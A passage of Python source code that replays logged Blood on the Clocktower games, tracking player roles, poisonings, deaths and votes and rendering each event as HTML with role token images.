\"healthy\"\n        if not self.hasability:\n            ability = \"noability\"\n        elif self.abilityused:\n            ability = \"used\"\n        else:\n            ability = \"unused\"\n        alive = \"alive\" if self.alive else \"dead\"\n\n        inactive = \"active\" if self.active else \"inactive\"\n\n        self.roleimg = f\"https://raw.githubusercontent.com/SDoehren/AFBOTCSite/main/app/static/tokenimgs/{roleconverted}-{alignment}-{health}-{ability}-{alive}-{inactive}.webp\"\n        return self.roleimg\n\n    def rolechange(self, newrole):\n        self.currentrole = newrole\n        self.startingtype = RoleTypesdict[newrole]\n\n        singleuseability = ['Slayer', 'Virgin', 'Assassin', 'Mastermind', 'Courtier', 'Fool', 'Professor',\n                            'Artist', 'Philosopher', 'Seamstress', 'Mezepheles', 'Damsel', 'Golem', 'Fisherman',\n                            'Huntsman', 'Pixie', 'King', 'Engineer', 'Nightwatchman', 'Bone Collector',\n                            'Judge', 'Scapegoat']\n        if newrole in singleuseability:\n            self.hasability = True\n            self.abilityused = False\n        else:\n            self.hasability = False\n            self.abilityused = False\n\n        self.getroleimg()\n\n\nclass Game:\n    def __init__(self, date, session, game, script, result, players):\n        self.playerobjs = {}\n        self.playerorder = []\n        self.date = date\n        self.session = session\n        self.game = game\n        self.script = script\n        self.result = result\n        self.winmethod = None\n        self.players = players\n        self.demonbluffs = []\n        self.additionalbluffs = []\n        self.storytellers = []\n        self.eventdf = None\n        self.votedf = None\n        self.playervotedf = None\n        self.events = None\n        self.setup = {\"Townsfolk\": 0, \"Outsider\": 0, \"Minion\": 0, \"Demon\": 0, \"Travellers\": 0}\n        self.setupstr = \"\"\n\n        self.startofphasestate = {}\n        self.imagesrequired = []\n\n        self.allrolesused = []\n\n    def __repr__(self):\n        return f\"<classes.Game object - {self.session}-{self.game}>\"\n\n    def gamejson(self):\n        return self.__dict__\n\n    def gamesummary(self):\n        return [self.result, self.winmethod]\n\n    def getid(self):\n        return f\"{self.session}-{self.game}\"\n\n    def addplayer(self, name, role, alignment, note, type):\n        p = Player(name, role, alignment, note, type)\n        self.setup[type] +=1\n\n        if self.setup[\"Travellers\"]>0:\n            self.setupstr = f'{self.setup[\"Townsfolk\"]}-{self.setup[\"Outsider\"]}-{self.setup[\"Minion\"]}-{self.setup[\"Demon\"]} ({self.setup[\"Travellers\"]})'\n        else:\n            self.setupstr = f'{self.setup[\"Townsfolk\"]}-{self.setup[\"Outsider\"]}-{self.setup[\"Minion\"]}-{self.setup[\"Demon\"]}'\n        self.playerorder.append(name)\n        self.playerobjs[p.name] = p\n\n    def getgamestate(self):\n        d = self.__dict__\n        d['playerdata'] = {x: d['playerobjs'][x].getplayerstate() for x in d['playerobjs']}\n        d = copy.deepcopy(d)\n        del d['playerobjs']\n        return d\n\n    def processgame(self):\n        print(f\"{self.session}-{self.game}\")\n        for x in self.playerobjs:\n            self.playerobjs[x].startcommand()\n\n        self.votedf[\"voteid\"] = self.votedf['gameid'].astype(str) + \"-\" + self.votedf['Vote Number'].astype(str)\n        self.playervotedf[\"voteid\"] = self.playervotedf['gameid'].astype(str) + \"-\" + self.playervotedf[\n            'Vote Number'].astype(str)\n\n        v = self.votedf.copy(deep=True)\n        pv = self.playervotedf.copy(deep=True)\n\n        t = self.eventdf.copy(deep=True)\n        t = t.reset_index()\n        self.events = []\n        for ind, r in t.iterrows():\n            self.events.append(self.processevent(r, v, pv))\n        self.imagesrequired = set(self.imagesrequired)\n\n    def processevent(self, row, votes, playervotes):\n        # print(row)\n        #print(f'{row[\"Session\"]}-{row[\"Game Number\"]}-{row[\"Phase\"]}')\n        actiontaker = None if pd.isnull(row[\"Player\"]) else row[\"Player\"]\n        if actiontaker == \"Legion\":\n            actiontakerstate = \"Legion\"\n        elif actiontaker == 'Storyteller':\n            actiontakerstate = 'Storyteller'\n        elif actiontaker is not None:\n            actiontakerstate = self.playerobjs[actiontaker].getplayerstate()\n        else:\n            actiontakerstate = None\n\n        targetlist = [x for x in row[\"Target\"].split(\"|\")]\n        targetstatedict = {x: self.playerobjs[x].getplayerstate() for x in targetlist if x in self.playerobjs}\n\n        if row[\"Phase\"] not in self.startofphasestate:\n            imgs = []\n            for x in self.playerobjs:\n                obj = self.playerobjs[x]\n                imgs.append([obj.name, obj.currentrole, obj.roleimg])\n                if obj.currentrole not in self.allrolesused:\n                    self.allrolesused.append(obj.currentrole)\n\n            self.startofphasestate[row[\"Phase\"]] = imgs\n\n        gamestate = self.getgamestate()\n        playerpack = gamestate['playerdata']\n        e = Event(row[\"Session\"], row[\"Game Number\"], row[\"index\"], row[\"Phase\"], row[\"Action\"],\n                  actiontaker, actiontakerstate, targetlist, targetstatedict, row[\"Note\"], playerpack)\n        e.processevent(gamestate, votes, playervotes)\n\n        d = self.getgamestate()['playerdata']\n        self.imagesrequired += [d[x]['roleimg'] for x in d]\n\n        # print(row[\"Session\"], row[\"Game Number\"], row[\"index\"], row[\"Phase\"], row[\"Action\"], actiontaker,\n        # actiontakerstate, targetlist, targetstatedict, row[\"Note\"])\n        self.processdelta(e.delta)\n\n        # print(getattr(e,'avsavs',None))\n        # print(setattr(e,'session',99))\n        for x in self.playerobjs:\n            self.playerobjs[x].getroleimg()\n            if self.playerobjs[x].currentrole not in self.allrolesused:\n                self.allrolesused.append(self.playerobjs[x].currentrole)\n\n        return copy.deepcopy(e)\n\n    def processdelta(self, delta):\n        for d in delta:\n            player, event, action = d\n            if player == 'Storyteller':\n                continue\n            if event in ['alive', 'active', 'poisoned', 'currentalignment', 'abilityused']:\n                setattr(self.playerobjs[player], event, action)\n            elif event == 'killed':\n                killer, method = action\n                self.playerobjs[player].deaths.append((killer, method))\n                if killer is not None:\n                    self.playerobjs[killer].kills.append((player, method))\n            elif event == 'win condition':\n                self.winmethod = action[0]\n                for p in self.playerobjs:\n                    self.playerobjs[p].win = self.playerobjs[p].currentalignment == action[1]\n            elif event == 'additional bluff used':\n                self.additionalbluffs.append(action)\n            elif event == 'currentrole':\n                self.playerobjs[player].rolechange(action)\n            else:\n                print(d)\n\n\nclass Event:\n    def __init__(self, session, game, eventnumber, phase, eventname, player, playerstate, targetlist, targetstatedict,\n                 note,playerpack):\n        self.session = session\n        self.game = game\n        self.eventnumber = eventnumber\n        self.eventname = eventname\n        self.note = note\n        self.phase = phase\n        self.player = player\n        self.playerstate = playerstate\n        self.targetlist = targetlist\n        self.targetstatedict = targetstatedict\n        self.delta = []\n        self.playerpack = playerpack\n        self.HTML = f\"UNPROCESSED - {session}-{game}-{eventnumber} {phase} {player} {eventname} {'|'.join(targetlist)} {note}\"\n\n        self.death = False\n        self.killer = None\n        self.killed = []\n        self.methodofdeath = None\n\n        self.vote = False\n        self.voteHTML = \"\"\n\n        self.nomination = []\n        self.voterpack = []\n\n    def playerimagehtml(self, playerstate, size=50):\n        roleimg = playerstate['roleimg']\n        name = playerstate['name']\n        role = playerstate['currentrole']\n        return f'<img src = \"{roleimg}\" height = \"{size}\" ' \\\n               f'data-bs-toggle=\"tooltip\" data-toggle=\"tooltip\" data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"{name}-{role}\">'\n\n    def getroleimg(self, role, size=50):\n        if role == \"ST\":\n            address = \"https://raw.githubusercontent.com/bra1n/townsquare/develop/src/assets/demon-head.png\"\n        else:\n            roleconverted = role.replace(\"'\", '').replace(' ', '').replace('-', '').lower()\n            address = f\"https://raw.githubusercontent.com/SDoehren/AFBOTCSite/main/app/static/tokenimgs/{roleconverted}.webp\"\n\n        return f'<img src = \"{address}\" height = \"{size}\" data-bs-toggle=\"tooltip\" ' \\\n               f'data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"{role}\">'\n\n    def getplayerimg(self, size=50):\n        if self.player == \"Storyteller\":\n            address = \"https://raw.githubusercontent.com/bra1n/townsquare/develop/src/assets/demon-head.png\"\n            img = f'<img src = \"{address}\" height = \"{size}\" data-bs-toggle=\"tooltip\" ' \\\n                  f'data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"Storyteller\">'\n            return f\"<strong>Storyteller</strong> {img}\"\n\n        return f\"<strong>{self.player}</strong> {self.playerimagehtml(self.playerstate, size=size)}\"\n\n    def gettargetpack(self, name, size=50):\n        if name == \"Storyteller\":\n            address = \"https://raw.githubusercontent.com/bra1n/townsquare/develop/src/assets/demon-head.png\"\n            img = f'<img src = \"{address}\" height = \"{size}\" data-bs-toggle=\"tooltip\" ' \\\n               f'data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"Storyteller\">'\n            return f\"<strong>Storyteller</strong> {img}\"\n\n        targetstate = self.targetstatedict[name]\n        targimg = self.playerimagehtml(targetstate, size=size)\n        return f\"<strong>{name}</strong> {targimg}\"\n\n    def processdeath(self, killer, killed, method):\n        for p in killed:\n            self.delta.append([p, \"alive\", False])\n            self.delta.append([p, \"killed\", (killer, method)])\n            self.killed.append(p)\n        self.death = True\n        self.killer = killer\n        self.methodofdeath = method\n\n    def playerabilityused(self):\n        self.delta.append([self.player, \"abilityused\", True])\n\n    def roleabilityused(self, role, gamestate):\n        roleplayer = [x for x in gamestate['playerdata'] if gamestate['playerdata'][x]['currentrole'] == role]\n        if len(roleplayer) > 0:\n            roleplayer = roleplayer[0]\n            self.delta.append([roleplayer, \"abilityused\", True])\n\n    def processmissing(self):\n        for k in self.__dict__:\n            print(k, \":\", [self.__dict__[k]])\n        exit()\n\n    def processevent(self, gamestate, votes, playervotes):\n        if self.eventname in ['Lunatic Information', 'Minion Information', 'Demon Information']:\n\n            if self.player in ['Legion']:\n                self.HTML = f\"Legion learns their team as expected\"\n            elif self.targetlist[0] in ['None']:\n                self.HTML = f\"{self.getplayerimg()} learns nothing about their team\"\n            elif self.targetlist[0] in ['Standard']:\n                self.HTML = f\"{self.getplayerimg()} learns their team as expected\"\n            elif self.targetlist[0] in ['Poppy Grower']:\n                pg = [x for x in gamestate['playerdata']\n                      if gamestate['playerdata'][x]['currentrole'] == 'Poppy Grower'][0]\n                pgpack = [gamestate['playerdata'][x] for x in gamestate['playerdata']\n                          if gamestate['playerdata'][x]['currentrole'] == 'Poppy Grower'][0]\n                self.HTML = f\"<strong>{pg}</strong>{self.playerimagehtml(pgpack)} stops {self.getplayerimg()} learning their team\"\n            elif self.note in ['', 'Magician', 'Marionette']:\n                team = \" \".join([self.gettargetpack(x) for x in self.targetlist])\n                self.HTML = f\"{self.getplayerimg()} learns their team is {team}\"\n\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Mezepheles Word']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} learns their Mezepheles word is <strong>{self.targetlist[0]}</strong>\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Lleech Host']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} hosts {self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Revolutionary Pair Information']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} {self.getroleimg('Revolutionary')} {self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Noble Information']:\n            team = \" \".join([self.gettargetpack(x) for x in self.targetlist])\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} learns their in an evil among {team}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Amnesiac Ability']:\n            if self.note in ['', 'Poisoned']:\n                self.HTML = f\"{self.getplayerimg()} Amnesiac ability set as<br>\" \\\n                            f\"&nbsp;&nbsp;&nbsp;&nbsp;<strong>{self.targetlist[0]}</strong>\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Alchemist Ability']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} gets the ability of {self.getroleimg(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Pixie Information']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} learns {self.getroleimg(self.targetlist[0])} is in play\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Pixie Ability']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} gains the ability of {self.getroleimg(self.targetlist[0])}\"\n                self.playerabilityused()\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Bounty Hunter Information']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} learns {self.gettargetpack(self.targetlist[0])}\"\n            elif self.note == 'Revolutionary':\n                pack = [self.gettargetpack(x) for x in self.targetlist[:2]]\n                self.HTML = f\"{self.getplayerimg()} learns {self.gettargetpack(self.targetlist[0])} {self.getroleimg('Revolutionary')}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Slayer Shot':\n            slayershot = '/static/imgs/slayershot.webp'\n            targetplayer = self.targetlist[0]\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} <img src = '{slayershot}' height = '50'> \" \\\n                            f\"{self.gettargetpack(targetplayer)}\"\n            else:\n                self.HTML = f\"{self.getplayerimg()} <img src = '{slayershot}' height = '50'> \" \\\n                            f\"{self.gettargetpack(targetplayer)} ({self.note})\"\n            self.playerabilityused()\n\n        elif self.eventname == 'Snitch Bluffs':\n            if self.note == '':\n                bluffs = \" \".join([self.getroleimg(x, size=40) for x in self.targetlist])\n                self.HTML = f\"{self.getplayerimg()} receives bluffs.<br> {bluffs}\"\n                for x in self.targetlist:\n                    self.delta.append([None, \"additional bluff used\", x])\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Godfather Information':\n            if self.note == '':\n                bluffs = \" \".join([self.getroleimg(x, size=40) for x in self.targetlist])\n                self.HTML = f\"{self.getplayerimg()} learns the following are in play:<br>{bluffs}\"\n            elif self.note == 'No outsiders':\n                self.HTML = f\"{self.getplayerimg()} learns that no outsiders are in player\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Washerwoman Information', 'Investigator Information', 'Librarian Information',\n                                'Sage Information']:\n            if self.targetlist[0] == \"No Minion In Play\":\n                self.HTML = f\"{self.getplayerimg()} discovered that there is no minion in play\"\n            elif self.note == '':\n                if self.eventname == 'Sage Information':\n                    pack = [self.gettargetpack(x) for x in self.targetlist]\n                    role = \"The Demon\"\n                else:\n                    pack = [self.gettargetpack(x) for x in self.targetlist[1:]]\n                    role = self.getroleimg(self.targetlist[0])\n                self.HTML = f\"{self.getplayerimg()} learns {pack[0]} or {pack[1]} is {role}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Innkeeper Protect']:\n            if self.note == '':\n                pack = [self.gettargetpack(x) for x in self.targetlist]\n                self.HTML = f\"{self.getplayerimg()} selects {pack[0]} and {pack[1]}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Grandmother Information', 'Ravenkeeper Information']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} learns {self.gettargetpack(self.targetlist[0])} is \" \\\n                            f\"{self.getroleimg(self.targetlist[1])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Harlot Information']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} learns {self.getroleimg(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Seamstress Pick', 'Fortune Teller Information', 'Chambermaid Choice']:\n            if self.note == '':\n                pack = [self.gettargetpack(x) for x in self.targetlist[:2]]\n                self.HTML = f\"{self.getplayerimg()} selects {pack[0]} and {pack[1]} and learns a {self.targetlist[2]}\"\n            elif self.note == 'Fibbin':\n                pack = [self.gettargetpack(x) for x in self.targetlist[:2]]\n                self.HTML = f\"{self.getplayerimg()} selects {pack[0]} and {pack[1]} and learns a {self.targetlist[2]} {self.getroleimg('Fibbin')}\"\n            else:\n                self.processmissing()\n\n            if self.eventname in ['Seamstress Pick']:\n                self.playerabilityused()\n\n        elif 'Amnesiac Action' in self.eventname:\n            if 'Amnesiac Action - Select 1 player with response' in self.eventname:\n                self.HTML = f\"{self.getplayerimg()} selects {self.gettargetpack(self.targetlist[0])} \" \\\n                            f\"and learns {self.targetlist[1]}\"\n            elif 'Amnesiac Action - Select 2 players with response' in self.eventname:\n                self.HTML = f\"{self.getplayerimg()} selects {self.gettargetpack(self.targetlist[0])} \" \\\n                            f\"and {self.gettargetpack(self.targetlist[1])} \" \\\n                            f\"and learns {self.targetlist[1]}\"\n            elif 'Amnesiac Action - Select 1 character with response' in self.eventname:\n                self.HTML = f\"{self.getplayerimg()} selects {self.getroleimg(self.targetlist[0])} \" \\\n                            f\"and learns {self.targetlist[1]}\"\n            elif 'Amnesiac Action - Select 1 player' in self.eventname:\n                self.HTML = f\"{self.getplayerimg()} selects {self.getroleimg(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Amnesiac Question']:\n            self.HTML = f\"{self.getplayerimg()} visits the story teller and asks:<br>\" \\\n                        f\"&nbsp;&nbsp;&nbsp;&nbsp;<strong>{self.targetlist[0]}</strong><br>\" \\\n                        f\"They learn:<br>\" \\\n                        f\"&nbsp;&nbsp;&nbsp;&nbsp;<strong>{self.note}</strong>\"\n\n        elif self.eventname in ['Artist Question']:\n            if self.note in ['', 'Poisoned']:\n                self.HTML = f\"{self.getplayerimg()} visits the story teller and asks:<br>\" \\\n                            f\"&nbsp;&nbsp;&nbsp;&nbsp;<strong>{self.targetlist[0]}</strong><br>\" \\\n                            f\"They learn:<br>\" \\\n                            f\"&nbsp;&nbsp;&nbsp;&nbsp;<strong>{self.targetlist[1]}</strong>\"\n            else:\n                self.processmissing()\n            self.playerabilityused()\n\n        elif self.eventname in ['Savant Info']:\n            if self.note in ['', 'Poisoned']:\n                self.HTML = f\"{self.getplayerimg()} visits the story teller and learns one of the following is true:<br>\" \\\n                            f\"&nbsp;&nbsp;<strong> {self.targetlist[0]}</strong><br>\" \\\n                            f\"&nbsp;&nbsp;<strong> {self.targetlist[1]}</strong>\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['General Information', 'Fisherman Information', 'Balloonist Information']:\n            if self.note in ['', 'Poisoned']:\n                self.HTML = f\"{self.getplayerimg()} learns <strong> {self.targetlist[0]}</strong>\"\n            else:\n                self.processmissing()\n\n            if self.eventname == 'Fisherman Information':\n                self.playerabilityused()\n\n        elif self.eventname in ['Roshambo']:\n            selections = self.note.split(\"|\")\n            self.HTML = f\"{self.getplayerimg()} plays Roshambo with {self.gettargetpack(self.targetlist[0])}<br>\" \\\n                        f\"&nbsp;&nbsp;{self.player} picks <strong>{selections[0]}</strong><br>\" \\\n                        f\"&nbsp;&nbsp;{self.targetlist[0]} picks <strong>{selections[1]}</strong>\"\n\n        elif self.eventname in ['Juggle', 'Gambler Choice']:\n            if self.note in ['']:\n                if self.eventname == 'Juggle':\n                    verb = \"juggles\"\n                elif self.eventname == 'Gambler Choice':\n                    verb = \"gambles\"\n                else:\n                    verb = \"Something done fucked, see line 350ish\"\n\n                self.HTML = f\"{self.getplayerimg()} {verb} \" \\\n                            f\"{self.gettargetpack(self.targetlist[0])} \" \\\n                            f\"as the {self.getroleimg(self.targetlist[1])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Gossip']:\n            if self.note in ['']:\n                self.HTML = f\"{self.getplayerimg()} gossips \" \\\n                            f\"{self.targetlist[0]}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Barista Ability']:\n            if self.note in ['1']:\n                self.HTML = f\"{self.getplayerimg()} caused {self.gettargetpack(self.targetlist[0])} to become sober, \" \\\n                            f\"healthy & get true info\"\n                self.delta.append([self.targetlist[0], \"poisoned\", False])\n            elif self.note in ['2']:\n                self.HTML = f\"{self.getplayerimg()} causes {self.gettargetpack(self.targetlist[0])} to fire \" \\\n                            f\"their ability twice\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Oracle Number', 'Chef Number', 'Mathematician Number', 'Empath Number',\n                                'Clockmaker Number', 'Juggler Information', 'Flowergirl Information',\n                                'Town Crier Information']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} learns a <strong>{self.targetlist[0]}</strong>\"\n            elif self.note == 'Fibbin':\n                self.HTML = f\"{self.getplayerimg()} learns a <strong>{self.targetlist[0]}</strong> {self.getroleimg('Fibbin')}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Monk Protect']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} protects \" \\\n                            f\"{self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Philosopher Switch', 'Cannibal Ability']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} gains the ability of \" \\\n                            f\"{self.getroleimg(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n            if self.eventname == 'Philosopher Switch':\n                self.playerabilityused()\n\n        elif self.eventname in ['Dreamer Check']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} selects {self.gettargetpack(self.targetlist[0])} and \" \\\n                            f\"learns they are {self.getroleimg(self.targetlist[1])} \" \\\n                            f\"or {self.getroleimg(self.targetlist[2])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Undertaker Information']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} learns {self.getroleimg(self.targetlist[0])} was executed\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Select Barber Swap']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} switches the roles of  \" \\\n                            f\"{self.gettargetpack(self.targetlist[0])} into \" \\\n                            f\"{self.gettargetpack(self.targetlist[1])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Witch Pick', 'Picks Master', 'Poisoner Pick', 'Snake Charmer Pick', 'Drinking Buddy',\n                                'DA Protection', 'Klutz Pick', 'Lunatic Pick', 'Exorcist Pick', 'Lycanthrope Pick',\n                                'Nightwatchman Pick', 'Huntsman Pick', 'Harlot Pick', 'Fiddler Choice',\n                                'Fearmonger Pick','Professor Choice']:\n            if self.note == '':\n                pack = \" \".join([self.gettargetpack(x) for x in self.targetlist])\n                verb = {'Witch Pick': 'curses',\n                        'Picks Master': 'picks their master as',\n                        'Poisoner Pick': 'attempts to poison',\n                        'Snake Charmer Pick': 'attempts to snake charm',\n                        'Drinking Buddy': 'chooses their drinking buddy as',\n                        'DA Protection': 'DA protects',\n                        'Klutz Pick': 'sees the good in',\n                        'Lunatic Pick': 'makes their \"demon\" pick and selects',\n                        'Exorcist Pick': 'tries to excise',\n                        'Lycanthrope Pick': 'tries to turn',\n                        'Nightwatchman Pick': 'reveals themselves to',\n                        'Huntsman Pick': 'hopes their Damsel is',\n                        'Fiddler Choice': 'fiddles the game and chooses to go against',\n                        'Harlot Pick': 'asks to see the role of',\n                        'Fearmonger Pick':'strikes fear into',\n                        'Professor Choice':'tries to revive'}\n                self.HTML = f\"{self.getplayerimg()} {verb[self.eventname]} \" \\\n                            f\"{pack}\"\n            else:\n                self.processmissing()\n\n            if self.eventname in ['Nightwatchman Pick', 'Huntsman Pick']:\n                self.playerabilityused()\n\n        elif self.eventname in ['Harlot Choice']:\n            if self.targetlist[0] == 'Yes':\n                self.HTML = f\"{self.getplayerimg()} agrees to share their role\"\n            else:\n                self.HTML = f\"{self.getplayerimg()} refuses to share their role\"\n\n        elif self.eventname in ['Damsel Guess']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} guesses {self.gettargetpack(self.targetlist[0])} as the Damsel\"\n            else:\n                self.processmissing()\n            self.roleabilityused(\"Damsel\", gamestate)\n\n        elif self.eventname in ['Courtier Pick']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} picks \" \\\n                            f\"{self.getroleimg(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n            self.playerabilityused()\n\n        elif self.eventname in ['Cerenovus Madness']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} makes \" \\\n                            f\"{self.gettargetpack(self.targetlist[0])} mad that they are \" \\\n                            f\"{self.getroleimg(self.targetlist[1])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Pit-Hag Pick']:\n            if self.note != '':\n                self.HTML = f\"{self.getplayerimg()} changes \" \\\n                            f\"{self.gettargetpack(self.targetlist[0])} into \" \\\n                            f\"{self.getroleimg(self.note)}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['No Dashii Poison']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} poisons their neighbours \" \\\n                            f\"{self.gettargetpack(self.targetlist[0])} and \" \\\n                            f\"{self.gettargetpack(self.targetlist[1])}\"\n                self.delta.append([self.targetlist[0], \"poisoned\", True])\n                self.delta.append([self.targetlist[1], \"poisoned\", True])\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Evil Twin Information', 'Good Twin Information']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} see their twin as {self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Vigormortis Poison']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} poisons {self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Knows Widow']:\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} heard the Widow's call\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Pukka Poison', 'Widow Poison']:\n            verbs = {'Pukka Poison': 'Pukka Poisoned', 'Widow Poison': 'Widow Poisoned'}\n\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} {verbs[self.eventname]} {self.gettargetpack(self.targetlist[0])}\"\n                self.delta.append([self.targetlist[0], \"poisoned\", True])\n            elif self.note == 'Drunk':\n                self.HTML = f\"{self.getplayerimg()} tried to {self.eventname} {self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Poisoned', 'Drunked', 'Philosopher Drunk', 'Snake Charm Poison', 'Goon Drunk',\n                                'Innkeeper Drunk']:\n            if self.eventname == 'Snake Charm Poison':\n                self.eventname = 'Snake Charm Poisoned'\n            elif self.eventname == 'Pukka Poison':\n                self.eventname = 'Pukka Poisoned'\n\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} became {self.eventname}\"\n                self.delta.append([self.player, \"poisoned\", True])\n            elif self.note == 'Drunk':\n                self.HTML = f\"{self.getplayerimg()} did not became {self.eventname}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Healthy':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} became Healthy\"\n                self.delta.append([self.player, \"poisoned\", False])\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Role Change':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} had their role changed to {self.getroleimg(self.targetlist[0])}\"\n                self.delta.append([self.player, \"currentrole\", self.targetlist[0]])\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Alignment Change':\n            if self.targetlist[0] == \"\":\n                CA = self.playerstate['currentalignment']\n                self.targetlist[0] = \"Evil\" if CA == 'Good' else \"Good\"\n\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} had their alignment changed to {self.getroleimg(self.targetlist[0])}\"\n                self.delta.append([self.player, \"currentalignment\", self.targetlist[0]])\n            else:\n                self.HTML = f\"{self.getplayerimg()} had their alignment changed to {self.getroleimg(self.targetlist[0])} ({self.note})\"\n                self.delta.append([self.player, \"currentalignment\", self.targetlist[0]])\n\n        elif self.eventname == 'Doomsay':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} Doomsays\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Po Charge':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} charges up\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Bureaucrat Ability':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} gives 3 votes to {self.gettargetpack(self.targetlist[0])}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Killed':\n            if self.note == 'Slayer Kill':\n                self.HTML = f\"{self.getplayerimg()} is killed by the Slayer\"\n                attacker = [x for x in gamestate['events'] if x.eventname == \"Slayer Shot\"][-1].player\n                self.processdeath(attacker, [self.player], 'Slayer Kill')\n            elif self.note == 'Doomsay':\n                self.HTML = f\"{self.getplayerimg()} is killed by the Doomsayer\"\n                attacker = [x for x in gamestate['events'] if x.eventname == \"Doomsay\"][-1].player\n                self.processdeath(attacker, [self.player], 'Doomsay')\n            elif self.note == 'Lleech Host':\n                self.HTML = f\"{self.getplayerimg()} dies along side there host\"\n                self.processdeath(None, [self.player], 'Lleech Host')\n            elif self.note == 'Failed Gamble':\n                self.HTML = f\"{self.getplayerimg()} bet doesn't come in and dies\"\n                self.processdeath(self.player, [self.player], 'Failed Gamble')\n            elif self.note == 'Arbitrary Death':\n                self.HTML = f\"{self.getplayerimg()} died at random\"\n                self.processdeath(None, [self.player], 'Arbitrary Death')\n            elif self.note == 'Gunslinger':\n                gunslinger = [x for x in gamestate['playerdata']\n                              if gamestate['playerdata'][x]['currentrole'] == 'Gunslinger'][0]\n                gunslingerpack = [gamestate['playerdata'][x] for x in gamestate['playerdata']\n                                  if gamestate['playerdata'][x]['currentrole'] == 'Gunslinger'][0]\n                self.HTML = f\"{self.getplayerimg()} is targeted by {self.playerimagehtml(gunslingerpack)}\"\n                self.processdeath(gunslinger, [self.player], 'Gunslinger Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Riot Kill':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} get their riot on with {self.gettargetpack(self.targetlist[0])}\"\n                self.processdeath(self.player, [self.targetlist[0]], 'Riot Kill')\n                self.nomination = [self.player, self.targetlist[0], None]\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Mayor Kill':\n            if self.note == '':\n                self.HTML = 